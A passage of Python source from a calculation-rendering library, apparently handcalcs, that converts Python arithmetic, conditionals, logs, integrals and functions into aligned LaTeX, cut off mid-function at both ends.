occurs when a conditional calculation is rendered.\n \"\"\"\n raise TypeError(\n f\"Line type {type(line_object)} is not yet implemented in format_lines().\"\n )\n\n\n@format_lines.register(CalcLine)\ndef format_calc_line(line: CalcLine, **config_options) -> CalcLine:\n latex_code = line.latex\n\n equals_signs = [idx for idx, char in enumerate(latex_code) if char == \"=\"]\n second_equals = equals_signs[1] # Change to 1 for second equals\n latex_code = latex_code.replace(\"=\", \"&=\") # Align with ampersands for '\\align'\n comment_space = \"\"\n comment = \"\"\n if line.comment:\n comment_space = \"\\\\;\"\n comment = format_strings(line.comment, comment=True)\n line.latex = f\"{latex_code[0:second_equals + 1]} {latex_code[second_equals + 2:]} {comment_space} {comment}\\n\"\n return line\n\n\n@format_lines.register(NumericCalcLine)\ndef format_calc_line(line: NumericCalcLine, **config_options) -> NumericCalcLine:\n latex_code = line.latex\n latex_code = latex_code.replace(\"=\", \"&=\") # Align with ampersands for '\\align'\n comment_space = \"\"\n comment = \"\"\n if line.comment:\n comment_space = \"\\\\;\"\n comment = format_strings(line.comment, comment=True)\n line.latex = f\"{latex_code} {comment_space} {comment}\\n\"\n return line\n\n\n@format_lines.register(ConditionalLine)\ndef format_conditional_line(line: ConditionalLine, **config_options) -> ConditionalLine:\n \"\"\"\n Returns the conditional line as a string of latex_code\n \"\"\"\n if line.true_condition:\n latex_condition = \" \".join(line.true_condition)\n a = \"{\"\n b = \"}\"\n comment_space = \"\"\n comment = \"\"\n if line.comment:\n comment_space = \"\\\\;\"\n comment = format_strings(line.comment, comment=True)\n\n line_break = f\"{config_options['line_break']}\\n\"\n first_line = f\"&\\\\text{a}Since, {b} {latex_condition} : {comment_space} {comment} {line_break}\"\n if line.condition_type == \"else\":\n first_line = \"\"\n line.latex_condition = first_line\n\n outgoing = deque([])\n for calc_line in line.true_expressions:\n outgoing.append((format_lines(calc_line, **config_options)).latex)\n line.true_expressions = outgoing\n line.latex_expressions = line_break.join(line.true_expressions)\n line.latex = line.latex_condition + line.latex_expressions\n return line\n else:\n line.condition_latex = \"\"\n line.true_expressions = deque([])\n return line\n\n\n@format_lines.register(LongCalcLine)\ndef format_long_calc_line(line: LongCalcLine, **config_options) -> LongCalcLine:\n \"\"\"\n Return line with .latex attribute formatted with line breaks suitable\n for positioning within the \"\\aligned\" latex environment.\n \"\"\"\n latex_code = line.latex\n long_latex = latex_code.replace(\"=\", \"\\\\\\\\&=\") # Change all...\n long_latex = long_latex.replace(\"\\\\\\\\&=\", \"&=\", 1) # ...except the first one\n line_break = f\"{config_options['line_break']}\\n\"\n comment_space = \"\"\n comment = \"\"\n if line.comment:\n comment_space = \"\\\\;\"\n comment = format_strings(line.comment, comment=True)\n line.latex = f\"{long_latex} {comment_space} {comment}{line_break}\"\n return line\n\n\n@format_lines.register(ParameterLine)\ndef format_param_line(line: ParameterLine, **config_options) -> ParameterLine:\n comment_space = \"\\\\;\"\n line_break = \"\\n\"\n if \"=\" in line.latex:\n replaced = line.latex.replace(\"=\", \"&=\")\n comment = format_strings(line.comment, comment=True)\n line.latex = f\"{replaced} {comment_space} {comment}{line_break}\"\n else: # To handle sympy symbols displayed alone\n replaced = line.latex.replace(\" \", comment_space)\n comment = format_strings(line.comment, comment=True)\n line.latex = f\"{replaced} {comment_space} {comment}{line_break}\"\n return line\n\n\n@format_lines.register(SymbolicLine)\ndef format_symbolic_line(line: SymbolicLine, **config_options) -> SymbolicLine:\n replaced = line.latex.replace(\"=\", \"&=\")\n comment_space = \"\\\\;\"\n comment = format_strings(line.comment, comment=True)\n line.latex = f\"{replaced} {comment_space} {comment}\\n\"\n return line\n\n\n@format_lines.register(IntertextLine)\ndef format_intertext_line(line: IntertextLine, **config_options) -> IntertextLine:\n cleaned_line = line.line.replace(\"##\", \"\")\n line.latex = f\"& \\\\textrm{{{cleaned_line}}}\"\n return line\n\n\n@format_lines.register(BlankLine)\ndef format_blank_line(line: BlankLine, **config_options) -> BlankLine:\n line.latex = \"\"\n return line\n\n\ndef split_conditional(line: str, calculated_results: dict, cell_override: str):\n raw_conditional, raw_expressions = line.split(\":\")\n expr_deque = deque(raw_expressions.split(\";\")) # handle multiple lines in cond\n try:\n cond_type, condition = raw_conditional.strip().split(\" \", 1)\n except:\n cond_type = \"else\"\n condition = \"\"\n cond_type = cond_type.strip().lstrip()\n condition = condition.strip().lstrip()\n try:\n cond = expr_parser(condition)\n except pp.ParseException:\n cond = deque([condition])\n\n expr_acc = deque([])\n for line in expr_deque:\n categorized = categorize_line(\n line, calculated_results, cell_override=cell_override\n )\n expr_acc.append(categorized)\n\n return (\n cond,\n cond_type,\n expr_acc,\n condition,\n raw_expressions,\n )\n\n\ndef test_for_parameter_line(line: str) -> bool:\n \"\"\"\n Returns True if `line` appears to be a line to simply declare a\n parameter (e.g. \"a = 34\") instead of an actual calculation.\n \"\"\"\n # Fast Tests\n if not line.strip(): # Blank lines\n return False\n elif len(line.strip().split()) == 1: # Outputing variable names\n return True\n elif \"=\" not in line or \"if \" in line or \":\" in line: # conditional lines\n return False\n\n # Exploratory Tests\n _, right_side = line.split(\"=\", 1)\n right_side = right_side.replace(\" \", \"\")\n\n if (right_side.find(\"(\") == 0) and (\n right_side.find(\")\") == len(right_side) - 1\n ): # Blocked by parentheses\n return True\n\n try:\n right_side_deque = expr_parser(right_side)\n except pp.ParseException:\n right_side_deque = deque([right_side])\n\n if len(right_side_deque) == 1:\n return True\n elif test_for_unary(right_side_deque):\n return True\n else:\n return False\n\n\ndef test_for_parameter_cell(raw_python_source: str) -> bool:\n \"\"\"\n Returns True if the text, \"# Parameters\" or \"#Parameters\" is the line\n of 'row_python_source'. False, otherwise.\n \"\"\"\n first_element = raw_python_source.split(\"\\n\")[0]\n if \"#\" in first_element and \"parameter\" in first_element.lower():\n return True\n return False\n\n\ndef test_for_long_cell(raw_python_source: str) -> bool:\n \"\"\"\n Returns True if the text \"# Long\" is in the first line of\n `raw_python_source`. False otherwise.\n \"\"\"\n first_element = raw_python_source.split(\"\\n\")[0]\n if \"#\" in first_element and \"long\" in first_element.lower():\n return True\n return False\n\n\ndef test_for_short_cell(raw_python_source: str) -> bool:\n \"\"\"\n Returns True if the text \"# Long\" is in the first line of\n `raw_python_source`. False otherwise.\n \"\"\"\n first_element = raw_python_source.split(\"\\n\")[0]\n if \"#\" in first_element and \"short\" in first_element.lower():\n return True\n return False\n\n\ndef test_for_symbolic_cell(raw_python_source: str) -> bool:\n \"\"\"\n Returns True if the text \"# Long\" is in the first line of\n `raw_python_source`. False otherwise.\n \"\"\"\n first_element = raw_python_source.split(\"\\n\")[0]\n if \"#\" in first_element and \"symbolic\" in first_element.lower():\n return True\n return False\n\n\ndef test_for_blank_line(source: str) -> bool:\n \"\"\"\n Returns True if 'source' is effectively a blank line,\n either \"\\n\", \" \", or \"\", or any combination thereof.\n Returns False, otherwise.\n \"\"\"\n return not bool(source.strip())\n\n\ndef test_for_conditional_line(source: str) -> bool:\n \"\"\"\n Returns True if 'source' appears to be conditional expression.\n \"\"\"\n return \":\" in source and (\"if\" in source or \"else\" in source)\n\n\ndef test_for_intertext_line(source: str) -> bool:\n \"\"\"\n Returns True if 'source' appears to be an intertext line\n \"\"\"\n return source.startswith(\"##\")\n\n\ndef test_for_numeric_line(\n d: deque,\n # func_deque: bool = False\n) -> bool:\n \"\"\"\n Returns True if 'd' appears to be a calculation in\n consisting entirely of numerals, operators, and functions.\n In other words, the calculation has no \"variables\" in it,\n whatsoever.\n \"\"\"\n bool_acc = []\n func_flag = False\n if get_function_name(d):\n func_flag = True\n # bool_acc.append((item, True))\n for item in d:\n # if func_deque:\n if func_flag:\n func_flag = False\n bool_acc.append(True)\n continue\n if is_number(item):\n bool_acc.append(True)\n elif test_for_py_operator(item):\n bool_acc.append(True)\n elif (\n item == \"/\" or item == \"//\"\n ): # Not tested in test_for_py_operator, for reasons\n bool_acc.append(True)\n elif item == \",\": # Numbers separated with commas: ok\n bool_acc.append(True)\n elif isinstance(item, deque):\n if get_function_name(item):\n bool_acc.append(True)\n bool_acc.append(\n test_for_numeric_line(\n d=item,\n # func_deque=True\n )\n )\n else:\n bool_acc.append(test_for_numeric_line(d=item))\n else:\n bool_acc.append(False)\n return all(bool_acc)\n\n\ndef toggle_scientific_notation(\n use_scientific_notation: bool, cell_notation: Optional[bool]\n) -> bool:\n \"\"\"\n Returns a bool representing whether or not scientific notation should be used or not\n based on whether it has been turned on in global_config and whether it has been\n toggled in the cell overides.\n\n In general, the cell overide toggles the reverse of the global_config.\n \"\"\"\n if not cell_notation:\n return use_scientific_notation\n else:\n return not use_scientific_notation\n\n\ndef test_for_single_dict(source: str, calc_results: dict) -> bool:\n \"\"\"\n Returns True if 'source' is a str representing a variable name\n within 'calc_results' whose value itself is a single-level\n dictionary of keyword values.\n \"\"\"\n gotten = calc_results.get(source, \"\")\n return isinstance(gotten, dict)\n\n\ndef test_for_scientific_float(elem: str) -> bool:\n \"\"\"\n Returns True if 'elem' is a str representation of a float\n in scientific notation\n \"\"\"\n if isinstance(elem, str) and \"e\" in elem.lower():\n left, right = elem.lower().split(\"e\", 1)\n if (\n left.replace(\"-\", \"\").replace(\"+\", \"\").replace(\".\", \"\").isnumeric()\n and right.replace(\"-\", \"\").replace(\"+\", \"\").replace(\".\", \"\").isnumeric()\n ):\n return True\n return False\n\n\ndef split_parameter_line(line: str, calculated_results: dict) -> deque:\n \"\"\"\n Return 'line' as a deque that represents the line as:\n deque([, \"&=\", ])\n \"\"\"\n param = line.replace(\" \", \"\").split(\"=\", 1)[0]\n param_line = deque([param, \"=\", calculated_results[param]])\n return param_line\n\n\ndef format_strings(string: str, comment: bool, **config_options) -> deque:\n \"\"\"\n Returns 'string' appropriately formatted to display in a latex\n math environment.\n \"\"\"\n if not string:\n return \"\"\n text_env = \"\"\n end_env = \"\"\n l_par = \"\"\n r_par = \"\"\n if comment:\n l_par = \"(\"\n r_par = \")\"\n text_env = \"\\\\;\\\\textrm{\"\n end_env = \"}\"\n else:\n l_par = \"\"\n r_par = \"\"\n text_env = \"\\\\textrm{\"\n end_env = \"}\"\n\n return \"\".join([text_env, l_par, string.strip().rstrip(), r_par, end_env])\n\n\nclass ConditionalEvaluator:\n def __init__(self):\n self.prev_cond_type = \"\"\n self.prev_result = False\n\n def __call__(\n self,\n conditional: deque,\n conditional_type: str,\n raw_conditional: str,\n calc_results: dict,\n **config_options,\n ) -> deque:\n if conditional_type == \"if\": # Reset\n self.prev_cond_type = \"\"\n self.prev_result = False\n if conditional_type != \"else\":\n result = eval_conditional(raw_conditional, **calc_results)\n else:\n result = True\n if (\n result == True\n and self.check_prev_cond_type(conditional_type)\n and not self.prev_result\n ):\n l_par = \"\\\\left(\"\n r_par = \"\\\\right)\"\n if conditional_type != \"else\":\n symbolic_portion = swap_symbolic_calcs(\n conditional, calc_results, **config_options\n )\n numeric_portion = swap_numeric_calcs(\n conditional, calc_results, **config_options\n )\n resulting_latex = (\n symbolic_portion\n + deque([\"\\\\rightarrow\"])\n + deque([l_par])\n + numeric_portion\n + deque([r_par])\n )\n else:\n numeric_portion = swap_numeric_calcs(\n conditional, calc_results, **config_options\n )\n resulting_latex = numeric_portion\n self.prev_cond_type = conditional_type\n self.prev_result = result\n return resulting_latex\n else:\n self.prev_cond_type = conditional_type\n self.prev_result = result\n return deque([])\n\n def check_prev_cond_type(self, cond_type: str) -> bool:\n \"\"\"\n Returns True if cond_type is a legal conditional type to\n follow self.prev_cond_type. Returns False otherwise.\n e.g. cond_type = \"elif\", self.prev_cond_type = \"if\" -> True\n e.g. cond_type = \"if\", self.prev_cond_type = \"elif\" -> False\n \"\"\"\n prev = self.prev_cond_type\n current = cond_type\n if prev == \"else\":\n return False\n elif prev == \"elif\" and current == \"if\":\n return False\n return True\n\n\nswap_conditional = (\n ConditionalEvaluator()\n) # Instantiate the callable helper class at \"Cell\" level scope\n\n\ndef swap_calculation(calculation: deque, calc_results: dict, **config_options) -> tuple:\n \"\"\"Returns the python code elements in the deque converted into\n latex code elements in the deque\"\"\"\n symbolic_portion = swap_symbolic_calcs(calculation, calc_results, **config_options)\n calc_drop_decl = deque(list(calculation)[1:]) # Drop the variable declaration\n numeric_portion = swap_numeric_calcs(calc_drop_decl, calc_results, **config_options)\n return (symbolic_portion, numeric_portion)\n\n\ndef swap_symbolic_calcs(\n calculation: deque, calc_results: dict, **config_options\n) -> deque:\n # remove calc_results function parameter\n symbolic_expression = copy.copy(calculation)\n functions_on_symbolic_expressions = [\n insert_parentheses,\n swap_math_funcs,\n swap_superscripts,\n swap_chained_fracs,\n swap_frac_divs,\n swap_py_operators,\n swap_comparison_ops,\n swap_for_greek,\n swap_prime_notation,\n swap_long_var_strs,\n extend_subscripts,\n swap_superscripts,\n flatten_deque,\n ]\n for function in functions_on_symbolic_expressions:\n # breakpoint()\n if function is swap_math_funcs:\n symbolic_expression = function(symbolic_expression, calc_results)\n elif (\n function is extend_subscripts\n and not config_options[\"underscore_subscripts\"]\n ):\n symbolic_expression = replace_underscores(\n symbolic_expression, **config_options\n )\n else:\n symbolic_expression = function(symbolic_expression, **config_options)\n return symbolic_expression\n\n\ndef swap_numeric_calcs(\n calculation: deque, calc_results: dict, **config_options\n) -> deque:\n numeric_expression = copy.copy(calculation)\n functions_on_numeric_expressions = [\n insert_parentheses,\n swap_math_funcs,\n swap_chained_fracs,\n swap_frac_divs,\n swap_py_operators,\n swap_comparison_ops,\n swap_values,\n swap_for_greek,\n swap_prime_notation,\n swap_superscripts,\n extend_subscripts,\n flatten_deque,\n ]\n for function in functions_on_numeric_expressions:\n if function is swap_values or function is swap_math_funcs:\n numeric_expression = function(\n numeric_expression, calc_results, **config_options\n )\n elif (\n function is extend_subscripts\n and not config_options[\"underscore_subscripts\"]\n ):\n numeric_expression = replace_underscores(\n numeric_expression, **config_options\n )\n else:\n numeric_expression = function(numeric_expression, **config_options)\n return numeric_expression\n\n\ndef swap_integrals(d: deque, calc_results: dict, **config_options) -> deque:\n \"\"\"\n Returns 'calculation' with any function named \"quad\" or \"integrate\"\n rendered as an integral.\n \"\"\"\n swapped_deque = deque([])\n if \"integrate\" == d[0] or \"quad\" == d[0]:\n args_deque = d[1]\n function_name = args_deque[0]\n function = dict_get(calc_results, function_name)\n function_source = (\n inspect.getsource(function).split(\"\\n\")[1].replace(\"return\", \"\")\n )\n d_var = (\n str(inspect.signature(function))\n .replace(\"(\", \"\")\n .replace(\")\", \"\")\n .replace(\" \", \"\")\n .split(\":\")[0]\n )\n source_deque = expr_parser(function_source)\n a = args_deque[2]\n b = args_deque[4]\n swapped_deque += deque([\"\\\\int_{\", a, \"}\", \"^\", \"{\", b, \"}\"])\n swapped_deque.append(source_deque)\n swapped_deque.append(f\"\\\\; d{d_var}\")\n return swapped_deque\n else:\n return d\n\n\ndef swap_log_func(d: deque, calc_results: dict, **config_options) -> deque:\n \"\"\"\n Returns a new deque representing 'd' but with any log functions swapped\n out for the appropriate Latex equivalent.\n \"\"\"\n # Checks to figure out where things are and where they go\n swapped_deque = deque([])\n base = \"\"\n has_deque = isinstance(d[1], deque)\n has_nested_deque = len(d) > 2 and isinstance(d[2], deque) and d[0] == \"\\\\left(\"\n log_func = d[0] if d[0] != \"\\\\left(\" else d[1]\n base = \"\"\n has_nested_lpar = d[0] == \"\\\\left(\"\n has_rpar = d[-1] == \"\\\\right)\"\n has_single_lpar = d[1] == \"\\\\left(\"\n\n # For specialized functions\n if log_func in [\"log10\", \"log2\"]:\n base = log_func.replace(\"log\", \"\")\n\n if has_deque: # Arithmetic expression as argument in sub-deque\n sub_deque = d[1]\n elif has_nested_deque: # Nested function in sub-deque\n sub_deque = d[2]\n\n if has_deque or has_nested_deque:\n if \",\" in sub_deque: # Log base argument provided\n base = sub_deque[-2] # Last arg in d before \"\\\\right)\"\n operand = swap_math_funcs(\n deque(list(sub_deque)[:-3] + [\"\\\\right)\"]), calc_results\n ) # Operand is everything before the base argument\n else:\n # No Log base argument, recurse everything in the sub-deque\n operand = swap_math_funcs(deque([sub_deque]), calc_results)\n else:\n operand = d[2] # swap_math_funcs(d, calc_results)\n\n if base == \"e\":\n base = \"\"\n if isinstance(base, deque):\n raise ValueError(\n \"Cannot use an expression as the log base in handcalcs.\"\n \" Try assigning the base to a variable first.\"\n )\n base = dict_get(calc_results, base)\n if base:\n log_func = \"\\\\log_\"\n else:\n log_func = \"\\\\ln\"\n\n swapped_deque.append(log_func + str(base))\n if has_single_lpar:\n swapped_deque.append(\"\\\\left(\")\n swapped_deque.append(operand)\n\n if has_nested_lpar:\n swapped_deque.appendleft(\"\\\\left(\")\n if has_rpar:\n swapped_deque.append(\"\\\\right)\")\n\n return swapped_deque\n\n\ndef swap_floor_ceil(\n d: deque, func_name: str, calc_results: dict, **config_options\n) -> deque:\n \"\"\"\n Return a deque representing 'd' but with the functions floor(...)\n and ceil(...) swapped out for floor and ceiling Latex brackets.\n \"\"\"\n lpar = f\"\\\\left \\\\l{func_name}\"\n rpar = f\"\\\\right \\\\r{func_name}\"\n swapped_deque = deque([])\n peekable_deque = more_itertools.peekable(d)\n for item in peekable_deque:\n next_item = peekable_deque.peek(False)\n if isinstance(item, deque):\n new_item = swap_math_funcs(item, calc_results)\n swapped_deque.append(new_item)\n elif item == func_name and isinstance(next_item, deque):\n next_item.popleft()\n next_item.appendleft(lpar)\n next_item.pop()\n next_item.append(rpar)\n else:\n swapped_deque.append(item)\n return swapped_deque\n\n\ndef flatten_deque(d: deque, **config_options) -> deque:\n new_deque = deque([])\n for item in flatten(d):\n new_deque.append(item)\n return new_deque\n\n\ndef flatten(items: Any, omit_parentheses: bool = False) -> deque:\n \"\"\"Returns elements from a deque and flattens elements from sub-deques.\n Inserts latex parentheses ( '\\\\left(' and '\\\\right)' ) where sub-deques\n used to exists, except if the reason for the sub-deque was to encapsulate\n either a fraction or an integral (then no parentheses).\n \"\"\"\n if isinstance(items, deque):\n for item in items:\n yield from flatten(item) # recursion!\n else:\n yield items\n\n\ndef eval_conditional(conditional_str: str, **kwargs) -> str:\n \"\"\"\n Evals the python code statement, 'conditional_str', based on the variables passed in\n as an unpacked dict as kwargs. The first line allows the dict values to be added to\n locals that can be drawn upon to evaluate the conditional_str. Returns bool.\n \"\"\"\n # From Thomas Holder on SO:\n # https://stackoverflow.com/questions/1897623/\n # unpacking-a-passed-dictionary-into-the-functions-name-space-in-python\n exec(\",\".join(kwargs) + \", = kwargs.values()\")\n try:\n # It would be good to sanitize the code coming in on 'conditional_str'\n # Should this code be forced into using only boolean operators?\n # Do not need to cross this bridge, yet.\n return eval(conditional_str)\n except SyntaxError:\n return conditional_str\n\n\ndef expr_parser(line: str) -> list:\n import sys\n\n sys.setrecursionlimit(3000)\n pp.ParserElement.enablePackrat()\n\n variable = pp.Word(pp.alphanums + \"_.\")\n numbers = pp.pyparsing_common.fnumber.setParseAction(\"\".join)\n imag = pp.Literal(\"j\")\n plusminus = pp.oneOf(\"+ -\")\n imag_num = pp.Combine(numbers + imag)\n comp_num = pp.Combine(numbers + plusminus + numbers + imag)\n complex_number = comp_num | imag_num\n all_nums = complex_number | numbers\n\n lpar = pp.Literal(\"(\").suppress()\n rpar = pp.Literal(\")\").suppress()\n functor = variable + pp.ZeroOrMore(\".\")\n\n expr = pp.Forward()\n func = pp.Group(functor + lpar + pp.Optional(pp.delimitedList(expr)) + rpar)\n # operand = func | numbers | variable .\n operand = func | all_nums | variable\n\n expop = pp.Literal(\"**\")\n signop = pp.oneOf(\"+ - ~\")\n arithop = pp.oneOf(\"= + - * / // % , < > >= <= == !=\")\n\n expr <<= pp.infixNotation(\n operand,\n [\n (expop, 2, pp.opAssoc.RIGHT),\n (signop, 1, pp.opAssoc.RIGHT),\n (arithop, 2, pp.opAssoc.LEFT),\n ],\n )\n\n parsed = list_to_deque(\n more_itertools.collapse(expr.parseString(line).asList(), levels=1)\n )\n return parsed\n\n\n# def convert_to_number(x: str):\n# x = \"\".join(x)\n# try:\n# return int(x)\n# except ValueError:\n# try:\n# return float(x)\n# except ValueError:\n# return x\n\n\ndef list_to_deque(los: List[str]) -> deque:\n \"\"\"\n Return `los` converted into a deque.\n \"\"\"\n acc = deque([])\n for s in los:\n if isinstance(s, list):\n acc.append(list_to_deque(s))\n else:\n acc.append(s)\n return acc\n\n\ndef extend_subscripts(pycode_as_deque: deque, **config_options) -> deque:\n \"\"\"\n For variables named with a subscript, e.g. V_c, this function ensures that any\n more than one subscript, e.g. s_ze, is included in the latex subscript notation.\n For any item in 'pycode_as_deque' that has more than one character in the subscript,\n e.g. s_ze, then it will be converted to s_{ze}. Also handles nested subscripts.\n \"\"\"\n swapped_deque = deque([])\n for item in pycode_as_deque:\n discount = 0 # hack to prevent excess braces from swap_long_var_str\n if isinstance(item, deque):\n new_item = extend_subscripts(item) # recursion!\n swapped_deque.append(new_item)\n elif isinstance(item, str) and \"_\" in item and not \"\\\\int\" in item:\n if \"\\\\mathrm{\" in item:\n discount = 1\n new_item = \"\"\n for char in item:\n if char == \"_\":\n new_item += char\n new_item += \"{\"\n else:\n new_item += char\n num_braces = new_item.count(\"{\") - discount\n\n new_item += \"}\" * num_braces\n swapped_deque.append(new_item)\n else:\n swapped_deque.append(item)\n return swapped_deque\n\n\ndef replace_underscores(pycode_as_deque: deque, **config_options) -> deque:\n \"\"\"\n Returns 'pycode_as_deque' with underscores replaced with spaces.\n Used when global_config['underscore_subscripts'] == False\n \"\"\"\n swapped_deque = deque([])\n for item in pycode_as_deque:\n if isinstance(item, deque):\n new_item = replace_underscores(item)\n swapped_deque.append(new_item)\n elif isinstance(item, str):\n new_item = item.replace(\"_\", \"\\\\ \")\n swapped_deque.append(new_item)\n else:\n swapped_deque.append(item)\n return swapped_deque\n\n\ndef swap_chained_fracs(d: deque, **config_options) -> deque:\n \"\"\"\n Swaps out the division symbol, \"/\", with a Latex fraction.\n The numerator is the symbol before the \"/\" and the denominator follows.\n If either is a string, then that item alone is in the fraction.\n If either is a deque, then all the items in the deque are in that part of the fraction.\n\n If a \"chained division\" is encountered, e.g. 4 / 2 / 2, these are rendered as\n fractions that retain the original order of operations meaning.\n\n Returns a deque.\n \"\"\"\n a = \"{\"\n b = \"}\"\n swapped_deque = deque([])\n ops = \"\\\\frac{1}\"\n cdot = \"\\\\cdot\"\n past_first_frac = False\n close_bracket_token = False\n for item in d:\n if isinstance(item, deque):\n swapped_deque.append(swap_chained_fracs(item)) # recursion!\n\n elif item == \"/\" and not past_first_frac:\n past_first_frac = True\n swapped_deque.append(item)\n continue\n\n elif item == \"/\" and past_first_frac:\n swapped_deque.append(cdot)\n swapped_deque.append(ops)\n swapped_deque.append(a)\n close_bracket_token = True\n continue\n\n elif test_for_py_operator(item) and past_first_frac:\n past_first_frac = False\n swapped_deque.append(item)\n\n else:\n swapped_deque.append(item)\n\n if close_bracket_token:\n swapped_deque.append(b)\n close_bracket_token = False\n\n return swapped_deque\n\n\ndef test_for_py_operator(item: str):\n \"\"\"\n Returns True if `item` represents a str that can be used as\n a Python arithmetic or binary operator. Return False otherwise.\n\n Python arithmetic operators:\n +, -, *, %, **\n (note `/`, and `//` is not considered b/c they will be\n swapped out as fractions)\n\n Python binary operators:\n >, <, =\n \"\"\"\n py_ops = [\"+\", \"-\", \"*\", \"%\", \"//\", \"**\"]\n for op in py_ops:\n if op == str(item):\n return True\n\n bin_ops = \"<>=\"\n for op in bin_ops:\n if op in str(item):\n return True\n\n return False\n\n\ndef swap_frac_divs(code: deque, **config_options) -> deque:\n \"\"\"\n Swaps out the division symbol, \"/\", with a Latex fraction.\n The numerator is the symbol before the \"/\" and the denominator follows.\n If either is a string, then that item alone is in the fraction.\n If either is a deque, then all the items in the deque are in that part of the fraction.\n Returns a deque.\n \"\"\"\n swapped_deque = deque([])\n length = len(code)\n a = \"{\"\n b = \"}\"\n ops = \"\\\\frac\"\n close_bracket_token = 0\n for index, item in enumerate(code):\n next_idx = min(index + 1, length - 1)\n if code[next_idx] == \"/\" and isinstance(item, deque):\n new_item = f\"{ops}{a}\"\n swapped_deque.append(new_item)\n swapped_deque.append(swap_frac_divs(item, **config_options)) # recursion!\n elif code[next_idx] == \"/\" and not isinstance(item, deque):\n new_item = f\"{ops}{a}\"\n swapped_deque.append(new_item)\n swapped_deque.append(item)\n elif item == \"/\":\n swapped_deque.append(f\"{b}{a}\")\n close_bracket_token += 1\n elif close_bracket_token:\n if isinstance(item, deque):\n swapped_deque.append(\n swap_frac_divs(item, **config_options)\n ) # recursion!\n else:\n swapped_deque.append(item)\n new_item = f\"{b}\" * close_bracket_token\n close_bracket_token = 0\n swapped_deque.append(new_item)\n elif isinstance(item, deque):\n new_item = swap_frac_divs(item, **config_options) # recursion!\n swapped_deque.append(new_item)\n else:\n swapped_deque.append(item)\n return swapped_deque\n\n\ndef swap_math_funcs(\n pycode_as_deque: deque, calc_results: dict, **config_options\n) -> deque:\n \"\"\"\n Returns a deque representing 'pycode_as_deque' but with appropriate\n parentheses inserted.\n \"\"\"\n a = \"{\"\n b = \"}\"\n swapped_deque = deque([])\n for item in pycode_as_deque:\n if isinstance(item, deque):\n possible_func = not test_for_typ_arithmetic(item)\n poss_func_name = get_function_name(item)\n func_name_match = get_func_latex(poss_func_name)\n if poss_func_name != func_name_match:\n item = swap_func_name(item, poss_func_name)\n if poss_func_name == \"sqrt\":\n item = insert_func_braces(item)\n new_item = swap_math_funcs(item, calc_results)\n swapped_deque.append(new_item)\n elif poss_func_name == func_name_match:\n # Begin checking for specialized function names\n if poss_func_name == \"quad\":\n new_item = swap_integrals(item, calc_results)\n swapped_deque.append(new_item)\n elif \"log\" in poss_func_name:\n new_item = swap_log_func(item, calc_results)\n swapped_deque.append(new_item)\n elif poss_func_name == \"ceil\" or poss_func_name == \"floor\":\n new_item = swap_floor_ceil(item, poss_func_name, calc_results)\n swapped_deque.append(new_item)\n #\n # elif possible_func and poss_func_name:\n # elif possible_func:\n elif possible_func:\n ops = \"\\\\operatorname\"\n new_func = f\"{ops}{a}{poss_func_name}{b}\"\n item = swap_func_name(item, poss_func_name, new_func)\n if possible_func:\n item = insert_func_braces(item)\n new_item = swap_math_funcs(item, calc_results)\n swapped_deque.append(new_item)\n\n else:\n swapped_deque.append(swap_math_funcs(item, calc_results))\n else:\n swapped_deque.append(item)\n return swapped_deque\n\n\ndef get_func_latex(func: str, **config_options) -> str:\n \"\"\"\n Returns the Latex equivalent of the function name, 'func'.\n If a match is not found then 'func' is returned.\n \"\"\"\n latex_math_funcs = {\n \"sin\": \"\\\\sin\",\n \"cos\": \"\\\\cos\",\n \"tan\": \"\\\\tan\",\n \"sqrt\": \"\\\\sqrt\",\n \"exp\": \"\\\\exp\",\n \"sinh\": \"\\\\sinh\",\n \"tanh\": \"\\\\tanh\",\n \"cosh\": \"\\\\cosh\",\n \"asin\": \"\\\\arcsin\",\n \"acos\": \"\\\\arccos\",\n \"atan\": \"\\\\arctan\",\n \"atan2\": \"\\\\arctan\",\n \"asinh\": \"\\\\arcsinh\",\n \"acosh\": \"\\\\arccosh\",\n \"atanh\": \"\\\\arctanh\",\n \"sum\": \"\\\\Sigma\",\n }\n return dict_get(latex_math_funcs, func)\n\n\ndef insert_func_braces(d: deque, **config_options) -> deque:\n \"\"\"\n Returns a deque representing 'd' with appropriate latex function\n braces inserted.\n 'd' represents a deque representing a function and its parameters\n having already been tested by 'get_function_name(...)'\n \"\"\"\n a = \"{\"\n b = \"}\"\n swapped_deque = deque([])\n d_len = len(d)\n last_idx = d_len - 1\n if last_idx == 1: # Special case, func is sqrt or other non-parenth func\n swapped_deque.append(d[0])\n swapped_deque.append(a)\n swapped_deque.append(d[1])\n swapped_deque.append(b)\n elif (\n last_idx == 3 and d[0] == \"\\\\left(\" and d[last_idx] == \"\\\\right)\"\n ): # Special case, func is inside another func with parenth\n swapped_deque.append(a)\n swapped_deque += d\n swapped_deque.append(b)\n else:\n for idx, elem in enumerate(d):\n if idx == 1: # func name is 0, brace at 1\n swapped_deque.append(a)\n swapped_deque.append(elem)\n elif idx == last_idx: # brace at end\n swapped_deque.append(elem)\n swapped_deque.append(b)\n else:\n swapped_deque.append(elem)\n return swapped_deque\n\n\ndef swap_func_name(d: deque, old: str, new: str = \"\", **config_options) -> deque:\n \"\"\"\n Returns 'd' with the function name swapped out\n \"\"\"\n swapped_deque = deque([])\n for elem in d:\n if elem == old:\n if new:\n swapped_deque.append(new)\n else:\n swapped_func = get_func_latex(elem)\n swapped_deque.append(swapped_func)\n else:\n swapped_deque.append(elem)\n return swapped_deque\n\n\ndef swap_py_operators(pycode_as_deque: deque, **config_options) -> deque:\n \"\"\"\n Swaps out Python mathematical operators that do not exist in Latex.\n Specifically, swaps \"*\", \"**\", and \"%\" for \"\\\\cdot\", \"^\", and \"\\\\bmod\",\n respectively.\n \"\"\"\n swapped_deque = deque([])\n for item in pycode_as_deque:\n if type(item) is deque:\n new_item = swap_py_operators(item) # recursion!\n swapped_deque.append(new_item)\n else:\n if item == \"*\":\n swapped_deque.append(\"\\\\cdot\")\n elif item == \"%\":\n swapped_deque.append(\"\\\\bmod\")\n elif item == \",\":\n swapped_deque.append(\",\\\\ \")\n else:\n swapped_deque.append(item)\n return swapped_deque\n\n\ndef swap_scientific_notation_str(item: str) -> str:\n \"\"\"\n Returns a deque representing 'line' with any python\n float elements in the deque\n that are in scientific notation \"e\" format converted into a Latex\n scientific notation.\n \"\"\"\n b = \"}\"\n components = []\n for component in item.split(\" \"):\n if \"e+\" in component:\n new_component = component.replace(\"e+0\", \"e+\").replace(\n \"e+\", \" \\\\times 10 ^ {\"\n )\n components.append(new_component + b)\n elif \"e-\" in component:\n new_component = component.replace(\"e-0\", \"e-\").replace(\n \"e-\", \" \\\\times 10 ^ {-\"\n )\n 